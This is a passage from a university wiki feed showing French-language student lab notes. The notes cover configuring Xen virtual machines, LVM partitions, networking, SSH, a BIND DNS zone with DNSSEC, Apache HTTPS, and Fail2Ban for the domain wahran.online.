&lt;br /&gt;
J'essaye de regler cela.&lt;br /&gt;
&lt;br /&gt;
=Fail2Ban=&lt;br /&gt;
Nous pouvons implémenter une fonctionnalité pour sécuriser notre VM : bannir une IP après plusieurs tentative de connexions ssh raté.&lt;br /&gt;
dans /etc/fail2ban/jail.local nous ajoutons ces options:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enable	= true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter	= sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après 5 tentative de ssh échouée, l'IP en question sera banni 10 minutes:&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/wahran.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/myserver.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (wahran.online) dans le répertoire `/etc/apache2/sites-available/000-wahran.online-ssl.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/sites-available/000-wahran.online-ssl.conf &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        Redirect permanent / https://ns.wahran.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        ServerAlias wahran.online&lt;br /&gt;
        DocumentRoot /var/www/wahran.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/wahran.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/myserver.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
lorsque l'on se rend sur h, nous somme redirigé vers .&lt;br /&gt;
&lt;br /&gt;
==Configuration DNS avec DNSSEC==&lt;br /&gt;
Pour la gestion des DNS de mon domaine, j'ai configuré le fichier `/etc/bind/named.conf.local` pour ajouter la zone DNS de `wahran.online` avec une politique DNSSEC, ce qui renforce la sécurité de la gestion de mes enregistrements DNS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/bind/named.conf.local&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02; //IPv6 Proxy&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
masters &amp;quot;hiddensecondaries&amp;quot;{&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;alloco.online&amp;quot;{&lt;br /&gt;
	type slave;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/alloco.online&amp;quot;;&lt;br /&gt;
	masters{2001:660:4401:60a0:216:3eff:fe81:abfe;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12090</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12090"/>
		<updated>2026-02-07T16:14:12Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* Partitions */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des VM: ==&lt;br /&gt;
Pour créer nos VM avec xen (2 VM services + 1 VM mandataire):&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dir=/usr/local/xen --dist=excalibur --size=10GB --memory=1024M --bridge=pontclio --dhcp &amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les ajouter dans le fichier &amp;lt;code&amp;gt;/etc/xen/SE4.RS7&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/SE4.RS7-home,xvda3,w',&lt;br /&gt;
'phy:/dev/virtual/SE4.RS7-var,xvdb1,w',&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour monter le &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration des VM: ==&lt;br /&gt;
&lt;br /&gt;
rajouter un vif dans le fichier de configuration de la VM:&lt;br /&gt;
dans &amp;lt;code&amp;gt;/etc/xen/SE4.RS7.cfg&amp;lt;/code&amp;gt; :&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
vif         = [ 'mac=00:16:3E:D3:58:AD,bridge=pontclio', &lt;br /&gt;
                'mac=00:16:3E:D3:58:AE,bridge=SE4' ]     #vif ajouté&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite dans la VM ajouter les interfaces dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.170.0.2/24&lt;br /&gt;
        gateway 192.170.0.1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Relancer la VM puis après un &amp;lt;code&amp;gt;ifup&amp;lt;/code&amp;gt; on remarque que nos interfaces sont actives :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
root@C2:~# ip link show&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP mode DEFAULT group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:58:ad brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP mode DEFAULT group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:58:ae brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.0.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.0.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.0.1&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
#iface eth0 inet dhcp&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.162/28&lt;br /&gt;
    gateway 193.48.57.161&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après avoir fait un ifdown et un ifup nous pouvons envoyer des pings entre nos VM de service et avec la VM mandataire:&lt;br /&gt;
&lt;br /&gt;
Ping de SE4.Gtr (192.168.0.2) vers SE4.Gyro (192.168.0.3):&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping gyro.png|vignette|center]]&lt;br /&gt;
&lt;br /&gt;
Ping de SE4.Gtr (192.168.0.2) vers SE4.Pegase (192.168.0.1):&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping pegase.png|vignette|center]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search wahran.online&lt;br /&gt;
nameserver 192.168.0.2&lt;br /&gt;
nameserver 192.168.0.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour wahran.online et une zone secondaire pour alloco.online.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier wahran.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 100&lt;br /&gt;
&lt;br /&gt;
@	IN	SOA	ns.wahran.online.	postmaster.wahran.online. (&lt;br /&gt;
	3600	; Version&lt;br /&gt;
	21600	; Refresh secondary	(6h)&lt;br /&gt;
	3600	; Retry secondary	(1h)&lt;br /&gt;
	2592000	; Expire if no refresh	(30 jours)&lt;br /&gt;
	86400	; Negative cache	(24h)&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
; Enregistrements des serveurs de noms&lt;br /&gt;
@	IN	NS	ns.wahran.online.&lt;br /&gt;
@	IN	NS	ns2.alloco.online.&lt;br /&gt;
&lt;br /&gt;
; Enregistrements AAAA (IPv6)&lt;br /&gt;
ns	IN AAAA		2001:660:4401:60a0:216:3eff:fe32:8fa2&lt;br /&gt;
&lt;br /&gt;
: Enregistrements A (IPv4)&lt;br /&gt;
ns	IN A		193.48.57.164&lt;br /&gt;
&lt;br /&gt;
; Enregistrements CNAME&lt;br /&gt;
www	IN CNAME	wahran.online&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:/etc/bind/wahran.online# named-checkzone wahran.zone wahran.zone &lt;br /&gt;
zone wahran.zone/IN: loaded serial 3601&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker. Comme le montre cet capture d'écran, la propagation est bien effective dans la zone de Lille avec une adresse IPv6 :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS_Lille.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
